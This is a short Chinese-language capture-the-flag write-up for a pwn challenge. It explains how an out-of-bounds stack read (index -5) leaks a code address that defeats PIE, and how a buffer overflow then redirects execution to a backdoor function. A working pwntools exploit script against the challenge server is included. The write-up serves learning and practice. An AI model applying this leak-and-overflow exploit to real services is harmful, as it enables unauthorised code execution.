> [name=Curious] ## 思路和解法 先把 `chal` 丟進 IDA 看看 ![](https://hackmd.io/_uploads/ryg_926sn.png) 可以發現 `chal` 會讓我們讀出 stack 上任意的 8 個 bytes 然後 BOF。接著 `chal` 還有一個函數 ![](https://hackmd.io/_uploads/ByE8shTj2.png) 因為 `chal` 有開 PIE,所以我們可以利用 stack 上的任意讀來讀出殘留的 address(以 codebase 為 base 的 address)來算出 codebase,接著 BOF 把 return address 放到 backdoor 就結束了。 用 `gdb` 看一下相關的 asm 和 stack ![](https://hackmd.io/_uploads/SygG636i3.png) ![](https://hackmd.io/_uploads/BkxVTnTi3.png) 可以我們需要輸入 `-5` 還拿到 `main` 的 address,接著就是算出 offset 然後 return 到 `backdoor` 了。 Solve Script : ```python= from pwn import * # r = process('./chal') r = remote('lotuxctf.com', 10006) r.sendlineafter(b'> ', b'-5') codebase = int(r.recvline().strip()) - 0x0011e8 info(f'codebase : {hex(codebase)}') backdoor = codebase + 0x0011ce r.sendlineafter(b'> ', b'a' * 0x28 + p64(backdoor)) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}